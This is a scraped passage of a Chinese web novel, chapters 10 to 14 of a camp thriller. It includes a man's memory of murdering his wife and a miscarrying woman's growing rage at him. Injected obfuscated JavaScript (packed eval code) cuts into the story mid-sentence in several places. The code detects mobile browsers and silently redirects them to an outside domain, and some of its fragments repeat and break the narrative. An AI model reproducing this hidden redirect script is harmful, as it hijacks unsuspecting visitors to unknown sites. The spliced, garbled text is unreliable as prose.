$(''.inform'').remove(); $(''#content'').append('' 萍:“当然,老大家做水果生意,一年到头要挣不少钱。老二家差些,两口子在厂里上班。” 周志诧异,听她说小孙女上各种补习班,还以为家庭很好。 赵淑萍懂得他的意思,叹口气:“全靠着老大支助,老二在恒城的房子也是老大出钱买的。” 周志:“你是恒城本地人?” 赵淑萍:“是啊,恒城真阳县桂花村知道不?老大出来做生意后,我们也跟着搬出来了,以前我是在平城跟着老大生活的,后来……” 不知道想起什么,她匆匆掠过:“还是念旧嘛,人老咯,都想着落叶归根嘛,就回恒城跟着老二住了。顺便帮忙带带孙女儿。” 说完,她抓去放在立柜上的毛线团,开始织那件没完成的毛衣。 周志的职业让他知道这是个敏感的话题,每个人都有隐私,他也不多问了,端起茶杯,问她:“来杯牛奶不,我给你冲。” 赵淑萍摇摇头,说:“你少点喝茶,晚上睡不着。” 周志笑道:“正好,晚上还得守着他呢。” 赵淑萍没再说话,周志去换了一杯新茶,坐回沙发继续看动物世界。 午夜十二点,范明胜醒了,没再像白天那样干吼干叫,他木愣愣地盯着天花板发呆。 赵淑萍放下毛线,喂他喝水,他就喝,喂他吃饭,他就吃,听话得很,只是偶尔忍不住痛了,哼叫两声,又安静了。 周志说:“总算不折腾了。” 转眼看见赵淑萍,问她:“你还不去睡啊?” 赵淑萍叹气:“睡不着,人老了就是这样,动不动失眠。在这里还有你作个伴,解解闷。” 周志:“是……” 范明胜突然哭了出来,将周志的话截断。他哭得撕心裂肺,浑身抽搐。动得腿疼了,他张开手盖在脸上,闷声哭。 赵淑萍:“这孩子……” 她蹲在沙发旁,温柔地抚摸范明胜的脑袋,“别哭啊,命捡回来了就好,其余的没什么大不了的。” “以后的日子还长着呢,回家了好好过日子,别再……” “过不了,过不了了!” 范明胜嚷着。 “过不了了。” “是我对不起她,是我对不起她……” 赵淑萍和周志对视一眼:“谁?” 范明胜松开手,灯光被他的眼泪打湿得模糊不堪,像那晚的血。 她站在墙壁前大笑,头顶的灯光惨白。他的脑海被她嘲讽的笑声占据,他想起很多事,又好像什么都没有想。像被夺了魂,他冲上去,揪住她的头发,狠狠往墙上撞。 嘭!嘭!嘭! 一下,两下,三下……数不清多少次。 血从她的头顶留下来,从她的嘴里喷出来,喷了他一脸,模糊了他的视线。 儿子吓得躲进屋里,女儿站在门口盯着他。 他把她拖进厕所,那具肥胖的尸体像死后的猪一样沉,又沉又肿。 厕所的白瓷砖变成了红色。 …… 他没了老婆。 但他还有一个女儿。 范明胜吞下眼泪,哽咽着说:“等我回去,我一定好好对她。” 她是他唯一的孩子。 “我一定好好对她,等我回去……” 11. 第 11 章 范明胜发高烧了,烧得又凶又猛,直飙42℃。 赵淑萍和周志一夜未歇,想方设法地给他降温,忙到早晨六点才渐渐降下去。 赵淑萍人老了,忙活一整晚,累得直不起腰。周志经常熬夜,倒还撑得住,去给她冲杯牛奶,递给她喝了。 “我服你上去睡睡?” 赵淑萍把喝空的牛奶杯放到桌上,摆摆手:“我坐坐。”她摊在沙发上,靠枕垫着后腰,整个人提不起什么劲,更不想上楼。 周志:“那我上你房间把早饭给你带下来?” 赵淑萍:“再帮我把药箱拿下来,我吃两片药。” 周志上楼洗了个澡,换什干净的衣裳,整个精神才算清爽几分。他拎着自己的早饭,兜去赵淑萍房间拿了早饭和药箱,顺着走廊下楼去。路过范明胜房间时,楼梯口那端的房间门打开,平月垫着左脚尖,左手拿保温杯,右手扶着墙壁,一步一蹭地从房间里出来。 周志快步绕过去,问她:“下楼啊?” 平月点点头。 周志:“你这也不方便,我背你下去?” 平月摇摇头:“不用,谢谢。” “平月。” 钱晓文走了过来,她的脸色白得不自然,两弯眉毛紧紧皱着,一脸有事的表情。 走近了,她看了周志一眼。周志忙说:“我先下去了。”转身从楼梯口下去。 平月扶着墙,面朝钱晓文。 钱晓文说:“我来大姨妈了,卫生巾……你能不能借点给我?还有维生素和布洛芬……” “肚子很痛吗?” 平月撑着墙,往回挪,打开房门,挪到床边,从立柜里抽出一袋药递给她,“你看看有什么需要的舀,自己拿。” 她又挪到衣柜,蹲在衣柜下层的抽屉前,拿卫生巾。 那一袋药里涵盖了很多基础药,钱晓文看她一眼,悄悄拿了好几瓶的维生素塞进衣服里,然后拿出一板布洛芬和一瓶vc,说:“我要这两个。” 她把药袋放回立柜,又说:“我想要四包夜卫生巾。” 平月:“我拿的是睡裤。” 钱晓文:“可以。” 平月给了她四包夜用睡裤,两包日用卫生巾。 钱晓文抱着卫生巾离开。平月关上衣柜,拿着保温杯跟在她身后。出了房间,钱晓文回房间,平月往楼下走。 周志下楼便将水烧上了,以至于平月到厨房时,水正咕噜烧着。她把保温杯洗了洗,问周志:“他人怎么样了?” 周志吞下饺子,说:“比前两天好多了,现在醒了也不闹了。” 赵淑萍:“我看要不了多久,他就全好了。昨晚还跟我们说我要回家好好生活。” 平月:“……他以前不是好好生活?” “你不懂,这是渣男经典语录。”悦凌凌趴在二楼走廊栏杆上,“我在网上见过太多,出了事就说以后要好好生活,没出事之前,吃喝嫖赌一样不少。” “你这小姑娘……”赵淑萍隔空点她,“平时不好好看书,尽看些什么东西?他以前什么样,你知道啊?” 悦凌凌:“他还能是什么样啊?都混进夏令营偷东西了。” 赵淑萍:“你……” “谁说老子偷东西了?”范明胜醒了,烧了一夜,嗓子哑了,却不影响他瞪悦凌凌。 趴在二楼的悦凌凌被栏杆挡了大半,看起来小小的,让范明胜一下子想起自己女儿,又想起昨晚说过以后要好好对她。于是,他舔了舔嘴,缓和语气:“我没偷东西。” 悦凌凌:“吹!你没偷,平月手机去哪了?” “我咋知道她手机去哪了?”他心虚地瞟了平月一眼。 悦凌凌立刻:“看吧,心虚了。还说没偷,你偷偷跟我们来这里就是想偷我们东西!” 范明胜急了,他心虚不是因为偷了平月手机,而是他前两天对平月……悦凌凌一根筋,他跟她扯不清,绕得人烦。 他换句话说:“我怎么偷偷跟你们来了?我光明正大来的。” “哈!” 悦凌凌像听见了天大的笑话。 “Jck说你不是夏令营的人,你还想骗我们!” 范明胜懵了。 他看向沙发旁的赵淑萍和周志,他们看他的眼神充满了戒备,隐隐带着点同情。 范明胜:“我有邀请函!是夏令营让我来的,我没骗你们!” 他激动地望着周志,“你去搜我外套,黑色那件,邀请函就在口袋里。” 周志说:“我们搜过了。” 范明胜带着点期待。 周志又说:“没有。” 范明胜不可置信地瞪大了眼,“不可能!一定是你们搜漏了!是不是掉地上了!夏令营发给我的邀请函啊,上面还有金粉,一张卡,金粉涂的818。” 赵淑萍陷入了疑惑,他说的每一句都对上了。 楼上的悦凌凌也迷糊了,直起身,下楼来。 这一趟动静,二楼睡觉的人全醒了,余有为叼着烟出来,陈宇南薅薅漂亮的头发,往平月房间张望。张情打着哈欠趴在楼梯上看,睡衣几乎在身上挂不住,范明胜却没了心思看,绞尽脑汁试图再找点什么东西来证明自己。 “还有,那邀请函是用信寄来的对不对?对了!我还扫码付了818块钱,就车票上的二维码!还有还有……那个保密协议!” 悦凌凌咂舌:“都对上了……” 范明胜:“对吧?我说的都是真的,不信你们看我手机,对,看我手机,我还在协议上签了字。” 说着,他慌慌张张地往裤兜里掏手机,手机没掏到,身体扭动之间,牵扯到伤口,痛得他昂着头干叫。 叫了两声,活生生憋下去,又想找手机。 “你手机在这。” 梁威拿出他的手机。 “密码。” 范明胜:“1211。” 他儿子的生日。 不,已经不是他儿子了。 手机解了锁,大家下楼来。 范明胜说:“我还拍了照片,邀请函的那个照片,发给我兄弟看。” 梁威翻开相册。 悦凌凌站在他旁边,垫起脚尖看。 相册从头到尾翻了两遍,没有任何关于夏令营的东西。 点进聊天软件,翻到他和兄弟的聊天记录,聊天止于6月29日晚上十一点,他兄弟问他:你走了? 范明胜回:车站了。 兄弟:还回来? 范明胜没再回。 聊天记录往前一个月翻,没有任何一句关于夏令营的记录。 悦凌凌愤怒:“没有,你又骗我们。” “不可能!” 范明胜直接坐了起来,剧烈的东西压到了大腿根,又浸出血来。他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926641|160543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像感受不到疼,伸手抓手机。 梁威给他。 他翻相册,翻聊天,翻账单,翻邮件。 没有,什么都没有。 没有邀请函的照片,没有支付车票的账单,没有保密协议,连浏览器上的关于夏令营的搜索记录都没有。 悦凌凌撇嘴:“肯定是平时听我们说的,现在拿来糊弄我们。” 范明胜握着手机,整个人乱糟糟的,脑子糊成浆。他感觉老天跟他开了个玩笑。 然而这个玩笑并不好笑。 他颤抖着手,抬起头。 楼上楼下的人看他的眼神充满了戏谑、被骗的愤怒、了然。是那种“我知道你是骗子”的了然。 “不是这样的……”范明胜张开嘴,想辩解什么,却不知道该从哪里辩解。 悦凌凌:“那是什么样的?你以前做什么的?” 范明胜只能回答后面一个问题:“工地搬砖。” 悦凌凌翻了个白眼,指着平月:“写小说的。”指着陈宇南,“做音乐的。”指着周志,“电视台的。”指着梁威,“警察。”指着自己,“我来考研学习的。”指着范明胜,“你……你个搬砖的来夏令营干嘛?学搬砖用哪个姿势更赚钱啊?” 范明胜哑口无言。 他来夏令营的原因,是另一个故事了…… 他不得不来,他要来避避风头,因为,她死了。 他老婆死了。他不能待在家里,他不想去蹲监狱。兄弟跟他说出来避避,但去哪儿避是个问题。国土再大,但走哪都不容易。 兄弟跟他说,最近有个夏令营在招人,你去试试能不能报上。兄弟说,夏令营的保密工作做得贼强,没人找得到在哪里。 他当场报了名,当天晚上就收到夏令营寄到兄弟家的信。他拿着车票,匆匆塞几件衣服,就到车站去了。 走投无路,没有办法的事。他想先躲过两个月再说。兄弟有一句话说得很对,也许这两个月有奇迹呢? 确实有奇迹,夏令营地点在边境线。他有机会翻过边境线去另一个国家,躲得天远地远,再也没人找得到他。 “说不出来了吧!” 悦凌凌冲他的腿哼声。 “看你以后还偷不偷东西,活该!” 范明胜没法辩解,找不到证据辩解,他甚至没有了夏令营的身份。 为什么没有了,他不知道。 他只知道,小偷的名声是背下来。 不过无所谓,他已经决定好,过了这两个月,他要回家,不管是什么结果,是坐牢还是怎么,他要回家,他想见他的女儿。 他想看女儿长大,想和女儿在一起。 他可以没有名声,没有钱,唯独不能没有女儿。 他放下手机,躺回沙发。 视野上方,二楼的走廊栏杆上,有个女人站在那里盯着他,面色苍冷。 范明胜心脏猛跳了一下,有股不详的预感。 悦凌凌:“钱晓文,你终于出房间了啊?他又流血了,你下来帮他包扎一下啊。” 范明胜问:“她是医生?” “对啊。算你运气好,遇见一个医生,不然你肯定完了。” 她仰头对钱晓文说:“下来呗。” 钱晓文笑了一下:“好。” 那笑容皮肉没带动血肉,范明胜浑身的汗毛都立起来了,总觉得在哪见过这种笑。 12. 第 12 章 钱晓文一夜未睡,下\体的血淋漓不尽,有时候像尿路感染那样一滴一滴地流,有时候像来月经那样一股一股地冒。 马桶坐得腰部发酸,流产后的身体非常虚弱。她把夜用卫生巾垫在内裤上,躺到床上睡觉。 睡得昏昏沉沉。 隐隐约约听见厕所有声音,马桶冲水的声音,还有小孩哭的声音,茫然无措地叫: “妈妈。” “妈妈。” “妈妈……” 没有人应。 那道声音便带上了惊慌,急切地大喊:“妈妈!” “妈妈!” “妈妈!” 钱晓文惊醒了。 她睁开眼,明亮的大灯,斜对面和她脚对脚躺着的尸体。屋里没有另一个人,洗手间没有马桶冲水声,也没有小孩的叫声。 一切都是梦里的错觉。 手摸上腹部,温热的,皮肉的温热,血的温热,从下\体排泄出来,浸湿了床单。 身下一片湿润。 她坐起来,雪白的床单全红了,血氧化后变成了黑色,她屁股下面的位置,是湿黏黏的暗红。 像命案现场。 她去洗手间脱掉裤子,扯掉床单,用很厚的浴巾铺到床上,贴满卫生巾。 她又躺下,感受到血的流动,感受空洞洞的腹部,明亮的灯光在瞳孔里晃了晃,在灯光的虚影里睡过去。 也许是太累了,也许是流太多血,这一次睡得比上半夜安稳。 她是在翻身时陡然惊醒的。 墙头的电子钟显示早晨七点十五分。 她闭上眼想要再睡——太累了。从体内腾升出的疲倦,怎么睡都睡不够。 下\体又流了一股血。 她知道不能再睡,她的疲倦是失血过多造成的,再睡会死掉的。 她不想死。 抓着床垫,撑着一口气坐起来。 外面有脚步声,在安静的早晨显得比较清晰。 钱晓文捕捉到脚步声是从隔壁赵淑萍门外过来,路过她的门口,到下一个房间。 下一个房间是余有为,他一向晚睡晚起。再后面一个房间是范明胜。更后面没有了。 谁会在大清早来这边? 钱晓文拖着沉重的身体,挪到门背后,从门铃里看见是周志。手里拎着饭和药箱。 周志住的房间,明显从平月那边下楼更近。不懂他为什么逆着走这边。 他走到楼梯口,对面的平月打开了门,拿着保温杯往外面挪。 钱晓文陡然想起来了,平月有很多药。她现在需要药,特别是维生素。 小时候生病了去药房拿药,医生会配很多不同的维生素,包成一包。拿回家吃上两包,药到病除。 她没有办法了,必须靠大量维生素让这具虚弱的身体有一点力量。 山下的医生上不来,她和范明胜一样,只能熬。 她用最快的速度冲进卫生间,洗了个脸,让自己看起来没有那么糟糕。套上长风衣遮住身上来不及清理的血。 打开门,向平月走过去。 平月极好说话,和她那张清冷的脸比起来,她的性格温顺得不像话。 她要什么,平月都给,从不多问她为什么需要这么多。 钱晓文很喜欢她。 她拿到自己想要的东西回了房间,用热水擦了身上的血,简单吃了两口早饭,再吃掉大量的维生素,穿上睡裤。 维生素的作用上来了,她做事情比之前更加有力,还能从衣柜里拿出新的床单铺到床上。 她想再休息一会儿,调了中午的闹铃——她不敢让自己随意的睡觉,有可能一觉醒不来。 外面有些吵,悦凌凌在说话,她的声音很大,极具穿透力。 年轻女孩都是这样,没有理由的自信力和无所畏惧。 她曾经也有过。 想起曾经…… 钱晓文扯了扯嘴角,在干净的新床单上躺下来,强迫自己不要去想曾经。 刚刚闭上眼,范明胜的声音隐隐约约传上来。 他的声音有点小,钱晓文不确定是不是他的声音。 她睁开眼,凝神听。 听清楚了,是他。 他和悦凌凌起了争执,声音越来越大。其余人都被吵醒了,到走廊围观。 钱晓文也起来了,将门打开一条缝,让他们的说话声流进来。 范明胜一再辨认自己是合规进夏令营的,没有人信。但他们仍旧祥和地对待他,尽管在他默认偷了平月的手机后,他们依然温和对他。 为什么? 钱晓文不理解。 为什么会心平气和对待一个烂人?就因为他断了腿吗? 他断了腿是自作自受,Jck警告过他们,不能进地下室。 更何况,他不是夏令营的人,他是混进来的,他混进来偷他们的东西。他们就这样放过他吗? 那她算什么?她的流产算什么? 算自己自作自受活该充当滥好人? 他说话时,对自己所做的一切没有任何歉意,只是简简单单说他要回家。 钱晓文想不明白,他怎么就能这样坦荡无愧? 她站到走廊上,想看清范明胜的脸。 在那张龌龊又丑陋的脸上,她看不见愧疚。他平静地躺在那里,等待回家。 梁威一句话没说,站在那里。 他是警察,但他没有管。 哪怕他们不知道她流产了,那他们不管平月吗?平月被他那样侮辱,他是罪犯啊! 一个罪人可以这么理直气壮、安然无恙吗? 钱晓文不能理解,也无法接受。 “钱晓文,你下来帮他包扎一下啊。” 悦凌凌叫她。 钱晓文握着栏杆的手在抗拒。她被他一脚踹没了孩子,平月被他偷了手机,脚受了伤,至今没法好好走路。 范明胜坦然躺在沙发上,没有受到任何制裁,甚至还要她这个受害者去医治他。 凭什么? 他范明胜凭什么理所当然地要她去治他?他凭什么能好端端地回家? “下来呗。” 悦凌凌催促她。 她的抗拒变成了接受,盯着范明胜那张可恶的脸,她笑着应:“好。” 她拿着工具,一步一步走下楼。 每走一步,下\体涌出一股血。每流一次血,她就会想起自己失去的那个孩子,孩子慌乱的叫声,还有那个美好的名称——妈妈。 她要当妈妈。 但现在,她当不了妈妈了。 是那个人,躺在沙发里的男人,杀死了她的孩子。 在钱晓文看来,他躺在那里,和躺在她房间里的尸体无异。 悦凌凌抬了一张板凳放到沙发跟前,她坐下来,取出手术剪,剪开他伤口凝固的绷带。 范明胜的声音沙哑,带着不安,问她:“你是医生?” “对。” 钱晓文没有犹豫,她是这里唯一可以帮助范明胜的人,梁威不会拆穿她,因为他们需要稳定范明胜的情绪。 他们害怕范明胜死了。 “真年轻。” 范明胜心安了,紧紧拽住沙发布套的手指松开。 钱晓文说:“医护而已,算不上真正的医生。” 护士嘛,范明胜懂。 护士最好,他去医院看病输液都是护士做,那些医生就坐在桌子前问东问西。 他觉得护士比医生厉害,会打针会手术,什么都会。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926642|160543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 绷带解开,钱晓文处理他腿边化脓的烂肉,没有止痛针和麻醉剂,范明胜痛得啊啊叫,几次快要痛晕过去,不知道想到什么,又撑了下来。 悦凌凌捂住眼睛,背过身去,“真吓人,要是我,我早死了。” 断裂的伤口重新缝合、包扎。 赵淑萍端来热水,喂范明胜吃布洛芬和阿司匹林,还有一把维生素。 吃过药,范明胜没那么痛了,又和悦凌凌聊天:“你不懂,我现在有念想,再痛再累,也得挺住。” 悦凌凌佩服:“你念想什么?” “我女儿。” 他骄傲地昂了昂头。 “我女儿长得贼好看,双眼皮,大大的眼睛,可……”可像他了。 他在脑海里想起女儿的模样,前所未有的觉得她是那么的可爱。 他感觉自己以前是瞎了眼,入了魔,明明他的女儿那么乖,他怎么不喜欢? 一定是被村里的人洗了脑。 等他回去,先从兄弟家接回女儿,再去隔壁村看看他的另三个女儿过得怎么样。 他要努力挣钱,把另外三个女儿一并接回家,他们一起生活。 悦凌凌:“你女儿几岁啊?” 范明胜:“9岁。”小的那个。之前送走的,他算不清楚了。 他拿出手机,点开相册,想翻两张女儿的照片给她看,从相册最下面到最上面,竟然翻不出一张女儿的照片。 全是儿子的。 相册里的儿子一点点长大,眉眼一天天长开,没有一处像他,也不像那个女的。 范明胜盯着相册,想不起当初为什么没有发觉。 现在打眼一瞧,一下子就瞧出来了。 当初像被鬼糊了眼。 “没有照片啊?” 悦凌凌探头看。 “唉。” 范明胜收了手机。 “可能是删了吧。” 他说:“我女儿刚出生的时候,小小的一团,窝在床上哇哇大哭。一直哭,一直哭,虽然不会说话,但我一听,我就知道她在叫妈妈……” “咔嚓。” 钱晓文踢到了椅子腿。 椅子撞到餐桌上,她整个人被绊得连同工具一并洒在桌上。 客厅里的人回头看她,范明胜也看她,见她没什么事,他又继续说:“那时候啊,我这心头不是滋味得很,小小的真是可怜极了……” 明明他还在说,钱晓文却听不清了,她的脑袋很晕,视野模糊,她仿佛看见了小小的一团身影,站在厕所里,茫然无措地叫妈妈。 她那么小,小到手脚都还没有长出来,小到只是一团黏膜,血淋淋的黏膜,被水冲进了下水道。 可怜兮兮地叫:“妈妈……” 钱晓文的喉咙发痒,像有一只手,顺着喉管挠,挠得她不断干呕。 她想喝水,喝很多很多的水,想把水管塞进喉咙,冲掉那只手。 她冲到冰箱前,从里面抽出一瓶矿泉水,拧干盖子疯狂灌。 “你……” 旁边的张情拎着红酒,古怪地看她。 钱晓文猛地侧头。 那双眼睛,红得发肿,瞳孔全是血丝,像疯了一样。 张情吓得后退两步,上下打量她。 钱晓文抓着矿泉水瓶,又开始仰头猛灌。 张情被她搞懵了,低声骂了一句:“神经病。”拿着红酒和酒杯去了客厅。 钱晓文吞着冰冻的矿泉水,扭头盯着她的后背。那条吊带裙脆弱地挂在她的肩膀,裸露的肩胛骨像猪肉摊上剃干净的排骨,也像她拼凑过的尸骨。 钱晓文抹掉嘴角的水,笑了一下。 平月站在厨台后面,捧着保温杯,和回过头来的钱晓文四目相对。 13. 第 13 章 四目相对。 两人都愣了一下。 “你……” 平月指了指水壶。 “要热水吗?” 钱晓文快速应:“好。” 她提上水壶,和平月慢腾腾挪上楼。 平月打开房间门,抱着保温杯准备进去。 钱晓文叫住她。 平月转过身来。 钱晓文:“你觉得范明胜这个人如何?” 平月:“说不清。” 钱晓文看着她,认真的眼神固执地等她说具体点。 平月仔细想了半响,总结为两个字:“命好。” 命好…… 钱晓文差点爆笑出声。 平月问她:“还要问什么吗?” 钱晓文摇摇头,“没了。” 房间门关上,钱晓文憋笑憋得浑身发抖。她颤抖着肩膀走回自己房间,匍在衣柜上,放声大笑。 命好。 范明胜真的太他妈好命了。 就因为断了一条腿,这栋房子里的每一个人都原谅了他。他偷了平月的手机和平板,差点强\奸了平月,到现在连一句对不起都没有,就安安稳稳躺在那里等着人给他饭吃、给他药吃、给他处理伤口。 他张嘴嚎一嚎,要什么有什么,连梁威都放过了他。 真他妈好命。 然而她的孩子,纯粹无辜的孩子,连命都没有。 钱晓文不得不承认,在这个肮脏破烂的世界里,罪孽深重的人永远最好命。 她笑出了眼泪,笑得手脚冰冷,下\体在剧烈之中流出一大股血。 她擦掉眼泪,扶着墙壁进了卫生间。 雪白的灯光下,她看见镜子里的自己脸色惨白,没有一点血色,昏暗的瞳孔死气沉沉,单眼皮疲倦地垂着。 一副快要死去的样子。 她垂下眼,上了个厕所,换掉吸满血的睡裤。 …… 中午,在闹铃的叮铃里,钱晓文张开肿胀的眼。她转动眼珠,一直没有休息好的双眼干涩僵硬,转动时,眼眶深处的肉筋有生硬的拉扯感。 抬手捂住眼睛,她扶着昏胀的头爬起来。 热水壶的保温效果很好,过了三个小时还是热乎的。她喝了一杯热水,身体舒展了一些,拿出午餐,坐在床尾吃。 外面乍然想起一阵喧嚣。 悦凌凌的声音很响亮地传进来:“Jck来电话了!” 钱晓文怔了一下,来不及丢垃圾,就那样拿着冲出门。 她出去的还是太迟了,通话已经挂断了。 悦凌凌站在客厅的立柜前,放下听筒,声音雀跃:“Jck说他申请了直升机,从卢布市过来接范明胜,明天早上六点出发,大概八点到。” “真的?” 范明胜满是惊讶。 他以为自己要在这里待够两个月才能回去。 悦凌凌:“对啊,你又不是夏令营的人,而且你受伤了,Jck送你去医院,不然你真出事了,谁负责啊。” 范明胜已经不再反驳他是不是夏令营的人了,他满脑子被“明天就能回去”这件事挤满了。 他明天能回去了! 他可以见到他女儿了! 一想到女儿那张长得像他的圆圆的脸蛋,范明胜乐得合不拢嘴。 悦凌凌:“高兴吧?” 范明胜:“当然,我女儿在等我回家。” 悦凌凌:“你那么爱你女儿,你以后别偷了呗,养好腿去找个工作呗,不然你女儿以后在学校都抬不起头来。” 赵淑萍赞同:“这话对,回去好好跟你女儿过,找份正经工作。就是捡纸箱子卖也比偷东西强嘛。” 范明胜咧着嘴,连连点头:“是,是是是。” 虽然腿断了,没法上工地干活,但他会开锁,虽然钱少些,只要他肯干,以后照样能赚多的钱给他女儿上学。 悦凌凌:“那你赶紧把人家平月的手机和平板还人家啊。” “我……” 范明胜的笑容顿住。 客厅里的人都看着他,俨然将他当成了真正的小偷。 范明胜有冤说不出——他是真没偷啊。但这群人,不相信他。 “我……” “你什么你。” 悦凌凌打断他。 “我们对你可好了吧?吃的喝的都没少你,你吃的药还是人家平月给的呢,你把人家手机藏哪里了,快交出来。” 他们坚定地认定是他偷了平月的手机和平板。 范明胜巡视那一张张的脸,就是自己长一百张嘴也解释不清。 他尴尬笑:“走的时候告诉你。” “还怕我们不让你走啊?” 悦凌凌撇嘴。 “我还巴不得你现在就走呢。” 尽管全屋空气净化,但她每天下楼看见客厅满是血,还是很瘆人的。 范明胜不知道该怎么说,转动眼珠往别处看。他看见站在二楼栏杆前的平月,洁白的灯光从她的脸前洒下去,将那双眼睛照得莹莹剔透,美丽至极。 范明胜心生痒意之际又觉得有点眼熟,似乎在哪里见过。 想不起来。这并不重要,他看每一个漂亮女人都觉得眼熟,他把她们当作自己上辈子的情人。 几道目光虎视眈眈落到他身上,范明胜不敢再看,慌忙移开视线。二楼另一端的栏杆前还站着一个人,钱晓文端着饭盒,也在看他。 范明胜对她感激地笑了笑。他这条腿——应该是这条命,全靠她救回来的。没有她,他大概会死在这里。 于是,他笑得更灿烂了,极尽全力彰显自己对她的感谢和激动。 钱晓文盯着他那张快要笑烂的脸,那灿烂的笑就像刀,扎得她肚子疼。他咧着嘴,吐着恶心的大黄牙嘲讽她的无能为力。 饭盒在手里变了形。 钱晓文掉转身回房,她怕再迟一步,自己会控制不住冲下去和他拼命。 不能那样冲动,拼赢了,她也输了。 房间里的尸体在冷光灯下幽幽发光。 钱晓文停在尸体前,担架上的尸体脖子往上面目全非,四肢躯体因为长期注射药剂而发了胀,浑身青白。 鼻腔里是药水与消毒水的味,凛冽地占据脑海中央。 她闻着药水味,有什么恶毒的东西在脑袋里嘭然炸开,钱晓文像看了一场烟花秀一样精神愉悦。 …… 范明胜的精神状态比前些天好多了,大家怕出事——毕竟药吃过量,非常容易致死。范明胜一直吃的都是致死量。 于是,在众人的商量之下,减少药量——范明胜赞同。他看着那一大把一大把的药,也怕。 总归明早就有直升机来接他,疼也就疼一晚,明天去医院就好了。 中午吃过药,范明胜开始睡觉。 其余人上了楼,赵淑萍和周志忙了一整夜,特别是赵淑萍,撑不住了,被悦凌凌搀扶回房休息。 客厅没了人,周志只好留下来继续守着。范明胜的精神状况是好了,但保不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他抠抠胸口,抠抠手臂,抠抠腿。 越抠越慌。 没由来地慌。 赵淑萍织着毛衣问他怎么了,她转头看他时,眼镜的链子和织毛衣的钢针在安静的空气里哗啦啦的响。 响得范明胜愈发的不安。 他说:“我痒。” “哪痒啊?太久没洗澡痒吧。” 赵淑萍没在意。 “你在这沙发上躺四天了。” 范明胜也说不出到底哪儿痒,就是哪哪都痒,又慌又痒。 他说:“腿痒。” 赵淑萍当即放下钢针,取了眼镜,蹲到他断腿边凑近看。 没出血,但股血的腥臭味。 沙发被泡了四天的血,客厅一直是这么臭。 赵淑萍怕出事,说:“我叫晓文下来。” “算了。” 范明胜也不是真腿痒,就是体内有一片羽毛,隔着皮肉挠他。挠得他心惶惶。 赵淑萍:“真算了?” 范明胜:“嗯。” 赵淑萍又坐下了,陪他说两句话。 范明胜没心思说,体内痒得他心烦。他一脸烦躁。 赵淑萍人老,眼睛却不瞎,看得出他心烦,便停了嘴,坐到旁边的沙发上去继续织毛衣。 14. 第 14 章 凌晨一点十分,整栋房子静悄悄的。 钱晓文从尸体旁的椅子上站起来,理了理袖子,在寂静的夜里出了门。 灯光大亮,瞧不清哪间卧室亮着灯,哪间熄了灯。 她沿着走廊的栏杆,幽幽走。 客厅里的范明胜睡着了,打着不算响的呼噜,他今晚好像睡得不踏实。另一张沙发上的赵淑萍也睡着了,织了五分之一的毛衣摊在腿上,两双手似拿非拿。 赵淑萍人太老了,连着守了范明胜四五天,劳心劳神,晚间又没人陪着说话,经不住熬了,织着毛衣就睡了过去。 电视在放广告。 钱晓文下了楼,向沙发靠过去。 刚刚贴近沙发,肚子一阵剧痛,疼得钱晓文哼出声。她死死咬住嘴,拽着沙发套子,蹲了下去。 夹在背与双腿之间的腹部像开了口的南瓜,有一只手伸进南瓜里剥着连肉的瓤。那瓤滑溜溜的,不好剥。只能又扯又拽又掐又抠。废了老大的劲,那层滑溜溜的瓤终于被拽了下来。从钱晓文的下\体涌出。 钱晓文抱住肚子,疼得将头埋进腿里。 她能感受到,那是肉一样的一坨,流到了睡裤上,黏糊糊地糊着下\体。 她又想起了马桶里的那一团,站在厕所里的那道阴影,隐隐约约在叫什么。 叫什么。 叫…… 妈妈…… 钱晓文几乎要忍不住地嘶吼,哭泣,想把体内的痛苦排泄出去。 她死死咬住嘴,把头埋进腿里,双手紧紧禁锢住腿,把自己锁得死死的。 “叮铛铛——” 一串锣鼓响声。 钱晓文和赵淑萍都吓了一跳。 赵淑萍惊得睁开眼。 电视的广告结束了,进入正片。开头便是一个男人提着锣鼓,梆梆梆地敲。 赵淑萍舒了一口气,高高悬起的心脏落回原位,额上的汗水密密麻麻铺了一层——她做了一个噩梦。 梦见范明胜死了。 就死在沙发上。 她扭头去看范明胜,他睡得香得很,呼噜一直打。 心有余悸,赵淑萍还是探身探手去摸了摸他的额头,正常的温热。 手收回来时,后背滚下一层汗水。她这才惊觉浑身湿漉漉的,像从水里提起来,尤其是腋下和胸口下方,像泼进了水。她一动,那些水珠子便汪汪地滚。 人老了,最忌讳身上有汗。汗凉了,浸进心窝和骨头,吹不吹风都得倒下。 她掀开毛衣,起身时,汗水滚到了肚子上,冰凉凉地在肚脐眼里旋。 她又看了范明胜一眼。他好得很,比昨晚、前晚、再前一晚都好。 他现在的模样,大概又是一觉睡到天亮。赵淑萍心里没什么好担忧的了,起身上楼洗澡。 钱晓文缓过了那股最疼的劲,从沙发背面站起来。 